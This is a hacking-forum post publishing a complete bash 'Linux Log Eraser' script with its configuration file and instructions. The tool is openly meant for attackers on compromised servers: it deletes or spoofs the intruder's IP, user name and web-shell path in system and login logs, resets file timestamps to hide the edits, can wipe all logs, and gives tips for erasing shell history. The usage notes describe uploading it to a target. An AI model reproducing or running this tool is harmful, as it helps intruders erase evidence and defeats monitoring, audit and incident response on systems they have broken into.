Jump to content
Fi8sVrs

Linux Log Wiper

Recommended Posts

  • Active Members
Posted

LINUX LOG ERASER by b0nd

#! /bin/bash

# June 2011

clear

# A separate file to contain the absolute path for log files. Do edit that per your requirement

source log_files.sh

# Scroll to the end of code to see the progrom flow

# The following arrays would only store the names of the log files found on system

# Not making them read-only as they have to be edited later to add in the existing log file names

found_ascii_log_files=()

found_binary_log_files=()

rtr="" # A global variable needed to get array back as a return value from "check_time_stamping" function

flag=0 # A global variable to determine whether the back door path has to be deleted or not

spoof_user="root" # All the entries for the "user_name" spoofing would be replaced by string "root" in non-ASCII log files

# Default banner of the script

default_banner ()

{

cat << EOF

############################################################################

Linux Machine Log-Eraser Script

Ver 0.3 - Third Release

Greetz to:

GGGGGG\

GG __GG\

GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\

GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\

GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee |

GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____|

\GGGGGG |\aaaaaaa |rr | \aaaaaaa |\ggggggg |\eeeeeee\

\______/ \_______|\__| \_______| \____gg | \_______|

gg\ gg |

gggggg |

\______/

Usage: $0 [options]

-h help

############################################################################

EOF

call_exit

}

# Help banner of the script. It depicts the usage of various options

help_banner ()

{

cat << EOF

GGGGGG\

GG __GG\

GG / \__| aaaaaa\ rrrrrr\ aaaaaa\ gggggg\ eeeeee\

GG |GGGG\ \____aa\ rr __rr\ \____aa\ gg __gg\ ee __ee\

GG |\_GG | aaaaaaa |rr | \__|aaaaaaa |gg / gg |eeeeeeee |

GG | GG |aa __aa |rr | aa __aa |gg | gg |ee ____|

\GGGGGG |\aaaaaaa |rr | \aaaaaaa |\ggggggg |\eeeeeee\

\______/ \_______|\__| \_______| \____gg | \_______|

gg\ gg |

\gggggg |

\______/

Usage

=====

$0 options

OPTIONS:

-h help Show this message

-i [ip_address] Search for a particular ip_address in all log files and search for top 30 IP's logged in log files

-d [ip_address] Delete the ip_address from log files

-s [spoof_ip_address] Spoof the IP following -d with the one following -s wherever deletion is not possible

-u [user_name] The user name whose logs are to be erased/spoofed

-w [web_shell_path] The web back door (e.g. c99) shell absolute path you wish to erase from logs

-f fuck logs files To erase all log files completely, not recommended though

-e "file extensions" To find other backdoors planted on system

-r [web_root_directory] The web root directory to start searching backdoors from

Ex: $0 -h

* To show this help message

Ex: $0 -i 192.168.1.7

* To search 192.168.1.7 in all logs files. Basically finding which logs files have trace of it, and

* In addition to that, search all log files (/var/log/*) and show Top 30 most logged IP's in log files.

* They could be good choices for spoofing

Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker"

* To delete lines containing 192.168.1.7 and|or user_name "cracker" from ASCII files, and

* To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker" -w "/var/www/xyz.com/uploads/c99.php"

* To delete lines containing 192.168.1.7 and|or user_name "cracker" and|or web_shell_path from ASCII files, and

* To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

Ex: $0 -f

* To erase all log files listed in log_files.sh completely (not recommended)

Ex: $0 -e "php txt asp" -r /var/www

* To search for probable web backdoors planted on system. Once found, it is recommended to verify the result

* The current example searches for files having extensions php or txt or asp in /var/www and subdirectories

* Extensions and web_root_directory are customizable

[!] Stick to the above OPTION combinations only, else the script might not work properly

Author

======

b0nd, b0nd.g4h@gmail.com and www.garage4hackers.com

EOF

call_exit

}

# Checking and storing the log files found on system

existing_log_files ()

{

for i in ${ascii_log_files[@]} # Accessing all the array entries declared at the top (log_files.sh)

do

if [ -f $i ]; then

found_ascii_log_files[ $j ]=$i # fetching the found log files to our empty array

j=$[$j + 1]

fi

done

for i in ${binary_log_files[@]} # Accessing all the array entries declared at the top (log_files.sh)

do

if [ -f $i ]; then

found_binary_log_files[ $j ]=$i # fetching the found log files to our empty array

j=$[$j + 1]

fi

done

}

# Basic Information which might help user customizing script for the first time

search_log_files ()

{

echo -e "\n>>>>>>>>>>>>> Basic Information <<<<<<<<<<<< \n"

echo -e "[*] Linux Kernel: `uname -a`"

echo -e "\n[*] The various log files found on system (per our script log_files.sh database):"

j=0

# following is the call to function to determine the log files found on system

existing_log_files

echo -e -n "\n\t[*] ASCII Log Files\n"

for i in ${found_ascii_log_files[@]}

do

echo -e "\t\t$i"

done

echo -e -n "\n\t[*] Binary Log Files\n"

for i in ${found_binary_log_files[@]}

do

echo -e "\t\t$i"

done

# The following code is to find all the log files containing the IP fetched to parameter -i

# e.g. this should be the IP which attacker is willing to find and erase/spoof in log files

verify_ip $search_ip # The value for search_ip is obtained from command line arguments (parameter -i)

echo -e "\n[*] Searching for IP $search_ip in all non-zip log files (/var/log/*)"

# The following won't check the zipped files.

# It's affecting the atime value, and nothing has been coded to restamp the atime against this grep command

if [[ "`grep -rlw $search_ip /var/log*`" == "" ]]

then

echo -e "\n\t[*] Cool! The IP $search_ip does not have trace in any log file"

else

echo -e "\n\t[*] The IP $search_ip has appeared in following log files:"

grep -rlw $search_ip /var/log/* | awk ' { print " " $1 } '

fi

# The following would check for gz files in /var/log directory. Hard binded for .gz extension. Make it generic if needed

have_zgrep=`which zgrep`

# It's affecting the atime value, and nothing has been coded to restamp the atime against this zgrep command

if [[ "$have_zgrep" == "" ]]

then

echo -e "\n[*] zgrep could not be found on system"

echo -e "\n\t[*] Skipping searching zip files for IP matching. Take care yourself :)"

else

echo -e "\n[*] zgrep found on system, so checking zip files as well."

if [[ "`zgrep -lw $search_ip /var/log/*.gz`" == "" ]]

then

echo -e "\n\t[*] Cool! The IP $search_ip does not have trace in any zip log file (/var/log/*)"

else

echo -e "\n\t[*] The IP $search_ip has appeared in following zip log files in /var/log directory:"

echo -e "\n\t[*] The script in current form does not edit zip files. Take care of your (|) yourself"

zgrep -lw $search_ip /var/log/*.gz | awk ' { print " " $1 } '

fi

fi

echo -e "\n\t[!] It is recommended to include the above found log files, if not already in the list, in the script (log_files.sh)"

echo -e "\t[!] Edit the file log_files.sh per your requirements"

# Finding the IP's listed in all log files. The most common IP's could be a good choice for spoofing your original IP

# Display Top 20 IP's to make choice from

echo -e "\n[*] Displaying top 20 IP addresses found in log files"

echo -e "\n\t[*] It is recommended to choose any suitable one among them to spoof your IP"

touch tmp-counter.txt

local ip_counter=0

echo -e -n "\n\tPlease wait "

# It's affecting the atime value, and nothing has been coded to restamp the atime against this grep command

# The following grep command would find all the IP look alikes present in all the log files in /var/log/*.

# The sort will finally give the uniqe ones

for i in $(grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/* | grep -i ":" | cut -d ":" -f2 | sort -u)

do

# The following grep command is same as above but missing the trailing sort -u, hence all the multiple occurence would be listed.

# This would help in finding out the occurence of each IP in log files i.e., take one IP from the uniqe list and compare it with

# all the IP's in unsorted list, whenever there is a match, that would indicate re-occurence and hence the ip_counter would increase by 1

for j in $(grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/* | grep -i ":" | cut -d ":" -f2)

do

if [[ $i == $j ]]

then

ip_counter=$[$ip_counter + 1]

fi

done

echo -e -n "."

echo "$ip_counter number of times $i has occured in log files" >> tmp-counter.txt

ip_counter=0

done

echo -e "\n\n\t[*] TOP 20 IP (look alikes) found in log files:\n"

cat tmp-counter.txt | sort -g -r | head -n 20 | awk ' { print " " $1 " times -----> " $5 } '

rm tmp-counter.txt

call_exit

}

call_exit ()

{

echo -e "\n[*] Exiting.....\n"

#cat << EOF

echo -e "\n\t\tWould you mind removing script execution traces from history?"

echo -e "\t\t============================================================="

echo -e " ==> http://www.garage4hackers.com/showthread.php?1032-Linux-HISTORY-How-to-avoid-getting-logged\n"

# 1. Do not get logged; use the space technique.

# # echo \$HISTCONTROL

# if the output in not "ignorespace" (without quotes); do

# # export HISTCONTROL=ignorespace

# Now just give a space in front of any command and it would not be logged in history

# 2. Another way of not getting logged:

# # history -d \$((HISTCMD-1)) && type_your_command_here_and_execute

# e.g # history -d \$((HISTCMD-1)) && whoami

# 3. If the script has already been executed without taking precautions, either of the following can be done

# to remove the traces:

# a) # history -d \$((HISTCMD-2)) && history -d \$((HISTCMD-1))

# The above command would remove the last entry from history.

# Executing it couple of times would delete couple of entries

# B) # history

# Note down the command number and then execute:

# # history -d offset

# It would delete the respective entry from history

# c) To delete a group of consecutive commands

# Let us assume there are 50 commands in history and you wish to delete commands from 30 to 50

# # for i in {51..30}; do history -d "\$i"; done;

#EOF

exit

}

fuck_log_files ()

{

# following is the call to function to determine the log files found on system

existing_log_files

echo "FTW! Erasing all log files"

for i in ${found_ascii_log_files[@]}

do

echo -e "\t[*] Erasing $i..."

> $i

done

for i in ${found_binary_log_files[@]}

do

echo -e "\t[*] Erasing $i..."

> $i

done

echo "Done!"

call_exit

}

verify_ip ()

{

# First check is to verify that the chars entered as IP are integers

# Second check has been made to confirm that only 3 dots are there in IP address

# Third check is to mark the valid IP range. The octect value can not be < 0 or > 255

str="$1" # $1 is the first function parameter i.e. IP address here

cnt=${#str} # Counting the length of string fetched i.e total chars in IP address, including dots

dot_counter=0

for ((i=0; i < cnt; i++))

do

char=${str:$i:1} # Reading one character at a time from the input string. Taken from http://www.unix.com/unix-dummies-questions-answers/80215-access-each-character-string.html

#code=`printf %s "$char" | od -An -vtu1 | sed 's/^[^1-9]*//'` # copied from http://unix.derkeiler.com/Newsgroups/comp.unix.shell/2004-08/0195.html

code=`printf '%d' "'$char"` # Echo the ASCII value of character

# The first check

if [ $code -lt 48 ] || [ $code -gt 57 ] # Comparing the ASCII value range of Intergers ( 48 - 57 )

then

if [ $code -ne 46 ] # To check the "." value

then

echo -e "\n[*] Err!!! Not a valid IP (some non-integer characters), try again.....\n"

call_exit

else

dot_counter=$[$dot_counter + 1]

fi

fi

done

# The second check

if [ $dot_counter -ne 3 ]

then

echo -e "\n[*] Err!!! Not a valid IP (check the number of dots in IP Address), try again.....\n"

call_exit

fi

# The third check

# Extract the octets

octet_a=`echo $1 | cut -d "." -f1`

octet_b=`echo $1 | cut -d "." -f2`

octet_c=`echo $1 | cut -d "." -f3`

octet_d=`echo $1 | cut -d "." -f4`

if [ \( $octet_a -lt 0 -o $octet_a -gt 255 \) -o \( $octet_b -lt 0 -o $octet_b -gt 255 \) -o \( $octet_c -lt 0 -o $octet_c -gt 255 \) -o \( $octet_d -lt 0 -o $octet_d -gt 255 \) ]

then

echo -e "\n[*] Err!!! Not a valid IP (octet value >=0 and <=255), try again.....\n"

call_exit

fi

}

# A function to verify whether the user name fetched to script exists or not

# The script will not delete any log line based on user-name "root", else most of the logs would get delete

verify_user_name ()

{

local user_name="$1" # $1 is the first function parameter i.e. user-name here

if [ $user_name != "root" ]

then

if [[ `cat /etc/passwd | cut -d ":" -f1 | grep $user_name` != $user_name ]]

then

echo -e "\t[*] User name does not exist"

echo -e "\t[*] Instead of exiting, script will proceed considering you wish to delete logs of some old account which does not exist anymore"

else

echo -e "\t[*] user_name ($user_name) verified!"

fi

else

echo -e "\t[*] User name is 'root'. Script will still take care not to delete lines based on this user name"

echo -e "\t[*] user_name ($user_name) verified!"

fi

}

# A function to obtain the original time stamping of the log file before editing the file

check_time_stamping ()

{

echo -e "======================================================================"

filename=$1

echo -e "\n[*] Log File Under RADAR: $filename"

local atime=`stat -c "%x~%y~%z" ${filename} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

local mtime=`stat -c "%x~%y~%z" ${filename} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

local array=()

array=($atime $mtime)

rtr=(${array[@]}) # rtr is a global variable

}

# The function to edit the log files and restore the Time (time stamping)

edit_ascii_file_and_timestamping ()

{

for log_file in ${found_ascii_log_files[@]} # It's a global array and declared at the top of code

do

# Calling check_time_stamping function to get the original time stamps before touching the files

echo "inside for loop"

check_time_stamping $log_file

out=(${rtr[@]})

atime=${out[0]}

mtime=${out[1]}

echo -e "\n[*] Time Stamping before editing the log file"

echo -e "\tatime: $atime"

echo -e "\tmtime: $mtime"

# Edit only that file which has the desired string/IP in it. Don't touch others unnecessary.

# The following if and grep stuff does the same. If found IP in file then edit else don't. Err! haven't followed strictly

# -w is needed else if you intend to delete 192.168.1.1, it would delete all 192.168.1.1* as well

if grep -qsw "$1" "$log_file" # $1 is the parameter passed to this function, IP in this case

then

echo -e "\n[*] The IP $1 found in $log_file ... so proceeding editing it"

echo "Sleeping for 5 sec"

echo -e "\n[*] Editing log file --> $log_file"

sleep 5

sed "/$1/d" $log_file > $log_file.new

mv $log_file.new $log_file

fi

if [ $2 != 'root' ] # $2 is the 2nd parameter passed to this function, User name in this case

then

if grep -qsw "$2" "$log_file" # If user name fetched to script found in log file and that is not 'root'

then

echo -e "\n\n[*] The username $2 found in $log_file ... so proceeding editing it"

echo "Sleeping for 5 sec"

echo -e "\n[*] Editing log file --> $log_file"

sleep 5

sed "/$2/d" $log_file > $log_file.new

mv $log_file.new $log_file

fi

fi

if [ $flag -eq 1 ] # flag=1 states that a web shell path too has to be removed from log files

then

echo -e "\nflag = 1, Deleting Backdoor Shell PATH: $3"

sed -e "s@$3@@g" $log_file > $log_file.new

mv $log_file.new $log_file

fi

# The following time stamping is necessary irrespective of whether the IP was found in file or not.

# Because at least the file has been accessed while grep(ing) to search the content

# So the atime has to be restored

# Restoring mtime as well though with more code it can be skipped if value is not found in log file

aatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

amtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

# actime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f3 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\n[*] Time Stamping after editing the log file"

echo -e "\tatime: $aatime"

echo -e "\tmtime: $amtime"

# echo "ctime: $actime"

echo -e "\n[*] Restoring the time stamp........."

touch -at $atime $log_file

touch -mt $mtime $log_file

#touch -ct $ctime $log_file

aaatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

aamtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

# aactime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f3 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\n[*] Time Stamping after restoring the time stamp"

echo -e "\tatime: $aaatime"

echo -e "\tmtime: $aamtime"

# echo "ctime: $aactime"

echo -e "\n======================================================================\n\n"

done

}

edit_binary_file_and_timestamping ()

{

for log_file in ${found_binary_log_files[@]} # It's a global array and declared at the top of code

do

# Calling check_time_stamping function to get the original time stamps before touching the files

check_time_stamping $log_file

out=(${rtr[@]})

atime=${out[0]}

mtime=${out[1]}

# ctime=${out[2]}

echo -e "\n[*] Time Stamping before editing the log file"

echo -e "\tatime: $atime"

echo -e "\tmtime: $mtime"

echo -e "\nSpoofing IP $1 in binary log file with IP $2"

echo "Sleeping for 5 sec"

sleep 5

sed "s/$1/$2/g" $log_file > $log_file.new

mv $log_file.new $log_file

if [ $3 != 'root' ]

then

echo -e "\nSpoofing user name..."

echo "Sleeping for 5 sec"

sleep 5

sed "s/$3/$spoof_user/g" $log_file > $log_file.new # Edit the global variable spoof_user at the top

mv $log_file.new $log_file

fi

# The following time stamping is necessary irrespective of whether the IP was found in file or not.

# Because at least the file has been accessed while grep(ing) to search the content

# So the atime has to be restored

# Restoring mtime as well though with more code it can be skipped if value is not found in log file

aatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

amtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\n\nTime Stamping after editing the log file"

echo "atime: $aatime"

echo "mtime: $amtime"

echo -e "\nRestoring the time stamp........."

touch -at $atime $log_file

touch -mt $mtime $log_file

aaatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

aamtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'`

echo -e "\nTime Stamping after restoring the time stamp"

echo "atime: $aaatime"

echo "mtime: $aamtime"

echo -e "\n======================================================================\n\n"

done

}

verify_IPs_and_user_name ()

{

echo "[*] Verifying ip_address $ip_to_be_deleted ..."

verify_ip $ip_to_be_deleted # Passing the fetched IP as argument to verify_ip function

echo -e "\t[*] ip_address ($ip_to_be_deleted) verified!\n"

echo -e "\n[*] Verifying spoof_ip_address $spoof_ip ..."

verify_ip $spoof_ip # Passing the fetched IP as argument to verify_ip function

echo -e "\t[*] spoof_ip_address ($spoof_ip) verified!\n"

echo -e "\n[*] Verifying user_name: '$user_name' ..."

verify_user_name $user_name

}

search_web_backdoor_shells ()

{

for extension in ${extension_type[@]} # Now the array already holds the various backdoor extensions fetched

do

echo -e "\n\t[*] Checking for Extension: $extension"

sleep 1

# The following would find and display + outputs the result to a text file

grep -RPl --include=*.$extension "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" $web_root_directory | tee -a output.txt | awk ' { print " " $1 } '

done

echo -e "\n\t[!] Done! The out put has been stored in output.txt in append mode. Do not forget to delete it.\n"

call_exit

}

lets_begin_the_show ()

{

# Check: If "-e" and "-r", then just find the back door shells and exit

if [[ -n $web_root_directory ]]

then

search_web_backdoor_shells

# Check: If non "-e"|"-r" then proceed with deleting logs etc.

elif [[ -n $ip_to_be_deleted ]]

then

verify_IPs_and_user_name

if [[ -z $web_shell_path ]]

then # Call the function with 2 values; no web shell path has been fetched. No spoofing, just delete the lines.

edit_ascii_file_and_timestamping $ip_to_be_deleted $user_name

else # Call the function with 3 values; delete web shell path as well. No spoofing, just delete the lines.

flag=1

edit_ascii_file_and_timestamping $ip_to_be_deleted $user_name $web_shell_path

fi

# Call the function to spoof the original IP and user name. No deletion, just spoofing (they being binary files).

edit_binary_file_and_timestamping $ip_to_be_deleted $spoof_ip $user_name

else

echo -e "\nSome issue which I could not catch"

call_exit

fi

}

verify_combination_of_command_line_arguments ()

{

# Check 1: None of the argument has been passed

if [[ -z $ip_to_be_deleted ]] && [[ -z $spoof_ip ]] && [[ -z $user_name ]] && [[ -z $extension_type ]] && [[ -z $web_root_directory ]]

then

echo -e "\n[*] Error! None of the required argument has been passed"

default_banner

call_exit

fi

# Check 2: Nothing should be passed in combination with "-e" and "-r"

if ( [[ -n $extension_type ]] || [[ -n $web_root_directory ]] ) && ( [[ -n $web_shell_path ]] || [[ -n $ip_to_be_deleted ]] || [[ -n $spoof_ip ]] || [[ -n $user_name ]] || [[ -n $web_shell_path ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Do not mix -e and -r with any other flag!"

default_banner

call_exit

fi

# Check 3: "-e" and "-r" shall be together

if ( [[ -n $extension_type ]] && [[ -z $web_root_directory ]] ) || ( [[ -z $extension_type ]] && [[ -n $web_root_directory ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[*] -e and -r must be specified together and must be non-empty!"

default_banner

call_exit

fi

# Check 4: If one of the following, the first one, is stated then rest must be

if [[ -n $ip_to_be_deleted ]] && ( [[ -z $spoof_ip ]] || [[ -z $user_name ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -s and -u when -d specified!"

default_banner

call_exit

fi

# Check 5: If one of the following, the first one, is stated then rest must be

if [[ -n $spoof_ip ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $user_name ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -d and -u when -s specified!"

default_banner

call_exit

fi

# Check 6: If one of the following, the first one, is stated then rest must be

if [[ -n $user_name ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $spoof_ip ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -d and -s when -u specified!"

default_banner

call_exit

fi

# Check 7: If first one is stated, then rest must be

if [[ -n $web_shell_path ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $spoof_ip ]] || [[ -z $user_name ]] )

then

echo -e "\n[*] Error! Improper number of arguments passed"

echo -e "\n[-] Include -d, -s and -u when -w specified!"

default_banner

call_exit

fi

}

# ---------------------------------------- The program execution starts from here -------------------------------

#### Checking UID and EUID value ####

#### Only allow root to execute this script as non-root might not have write access to log files

if [ "$UID" != "0" ]

then

if [ "$EUID" != "0" ]

then

echo -e "\n[*] Cannot run script: Permission denied." "Please be root to use this script".

call_exit

fi

fi

#### Show default_banner if no argument has been passed

if [ $# -eq 0 ]

then

default_banner

fi

# Following variables are for the command line arguments

search_ip=

ip_to_be_deleted=

spoof_ip=

user_name=

web_shell_path=

extension= # This one to handle the multiple extensions give to grep from command prompt

web_root_directory=

extension_type=() # This array will hold the multiple extensions

j=0

while getopts ":hi:fd:s:u:w:e:r:" option

do

case $option in

h)

help_banner

;;

i)

search_ip=$OPTARG

search_log_files

;;

f)

fuck_log_files

;;

d)

ip_to_be_deleted=$OPTARG # All the verifications would be done later once combination of command line arguments have been verified

;;

s)

spoof_ip=$OPTARG # Same as above

;;

u)

user_name=$OPTARG # Same as above

;;

w)

web_shell_path=$OPTARG

echo "WEB-SHELL-PATH: $web_shell_path" # No verification could be done for it

;;

e)

for extension in $OPTARG

do

extension_type[ $j ]=$extension # Holding multiple extensions passed at command line

j=$[$j + 1]

done

;;

r)

web_root_directory=$OPTARG

echo -e "\t[*] Web-Root Directory: $web_root_directory"

;;

?)

echo -e "\n[*] Wrong argument passed"

default_banner

;;

esac

done

# Call to following function to verify the combination of command line arguments passed to script

verify_combination_of_command_line_arguments

# Following function call is necessary in order to find the available log files on system

existing_log_files

# Following function call would be made only after all the mandatory arguments have been passed to the script

lets_begin_the_show

Log File:

#######################
# Declaration of two arrays containing the absolute path of log files. Add in more path per your requirements
# Since declared outside any function, they are global
# declare -r makes our array read-only and could not be altered anywhere in the code following the declaration
#######################

# Those logs files which keep entries for IP address, web path accessed etc. Basically the ASCII log files.
declare -r ascii_log_files=(
#'/var/log/syslog'
#'/var/log/messages'
#'/var/log/httpd/access_log'
#'/var/log/httpd/error_log'
#'/var/log/xferlog'
#'/var/log/secure'
#'/var/log/auth.log'
#'/var/log/user.log'

# Check syslog.conf for more log files
# Enter more log files here
)

# Those logs files which keep user activity logs. Basically the non-ASCII log files.
declare -r binary_log_files=(
#'/var/log/wtmp'
#'/var/log/lastlog'
#'/var/log/btmp'
#'/var/run/utmp'
# Enter more log files here
)

Usage:

Linux Log Eraser
================

Linux Log Eraser is a bash script which erases almost all your logs from the log files on a Linux machine.
This can be useful for an attacker to wipe out the traces before logging out of the compromised Linux machine.


Usage
=====
$0 options

OPTIONS:
-h help Show this message
-i [ip_address] Search for a particular ip_address in all log files and search for top 30 IP's logged in log files
-d [ip_address] Delete the ip_address from log files
-s [spoof_ip_address] Spoof the IP following -d with the one following -s wherever deletion is not possible
-u [user_name] The user name whose logs are to be erased/spoofed
-w [web_shell_path] The web back door (e.g. c99) shell absolute path you wish to erase from logs
-f fuck logs files To erase all log files completely, not recommended though
-e "file extensions" To find other backdoors planted on system
-r [web_root_directory] The web root directory to start searching backdoors from

Ex: $0 -h
* To show this help message

Ex: $0 -i 192.168.1.7
* To search 192.168.1.7 in all logs files. Basically finding which logs files have trace of it, and
* In addition to that, search all log files (/var/log/*) and show Top 20 most logged IP's in log files.
* They could be good choices for spoofing

Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker"
* To delete lines containing 192.168.1.7 and|or user_name "cracker" from ASCII files, and
* To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

Ex: $0 -d 192.168.1.7 -s 10.1.1.7 -u "cracker" -w "/var/www/xyz.com/uploads/c99.php"
* To delete lines containing 192.168.1.7 and|or user_name "cracker" and|or web_shell_path from ASCII files, and
* To spoof 192.168.1.7 in non-ASCII files by 10.1.1.7 and user_name "cracker" by "root"

Ex: $0 -f
* To erase all log files listed in log_files.sh completely (not recommended)

Ex: $0 -e "php txt asp" -r /var/www
* To search for probable web backdoors planted on system. Once found, it is recommended to verify the result
* The current example searches for files having extensions php or txt or asp in /var/www and subdirectories
* Extensions and web_root_directory are customizable

[!] Stick to the above OPTION combinations only, else the script might not work properly

Author
======
b0nd, b0nd.g4h@gmail.com and www.garage4hackers.com



Customizing the script while executing for the first time on target:
====================================================================

1. Upload both, the linux_log_eraser.sh and log_files.sh on target server
2. Fire the linux_log_eraser script. Take care that you must be root (either UID=0 or EUID=0) to execute the script
3. Use parameter -i, and pass the IP address you are worried about in log files:
./linux_log_eraser -i 192.168.1.1
4. The above command will scan all the log files for that particular IP and will let you know all the log files having trace of that IP
5. Open up log_files.sh file. Cross check which log file, reported in step 4, is not in the list. Do add the log file/files
6. Running the step 3 command would also let you know the top 20 IP's in the log files having most occurrences
7. Choose any suitable IP from the top 20 IP's as a spoof IP.....and you are ready to proceed with other options of script



Logic:
======

Some log files are Ascii types, hence can be read and edited easily. Rest log files are binary types and are hard to read and edit directly.

For ascii files, all the lines in various log files containing either of the following would be deleted:
1. The IP following -d parameter
2. User name following -u parameter (if it is other than root). Since the user 'root' has many entries, so to remain stealty it's
better not to delete such lines.
3. Web shell path of your backdoor following -w parameter.

For binary files, all the entries for your IP and user name (if it is other than root) would be spoofed (not deleted)
IP would be spoofed to the Spoof IP provided and user name would be spoofed to "root"

Pass the following to script:
1. The IP which you wish to delete/spoof in log files
2. The spoof IP. This would be the IP to replace the IP in binary log files
3. The user name you wish to delete/spoof in log files
4. Absolute web shell path to erase it's entries from log files (e.g. the web back doors)

For spoofing in binary files, better analyze the files manually first and choose a good IP and user name

You can do the following for binary file analysis:
For wtmp:
#last (shows: username, terminal, IP)
#strings /var/log/wtmp (shows: username, terminal, IP)

For utmp:
#who (shows: username, terminal, IP)
#strings /var/run/utmp (shows: username, terminal, IP)

For lastlog:
#lastlog (shows: username, terminal, IP)
#strings /var/log/lastlog (shows: terminal, IP)

For btmp (if exists):
#lastb (shows: username)
#strings /var/log/btmp (shows: username)

Correct me if the logic is wrong at any place except for "/var/log/lastlog"

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...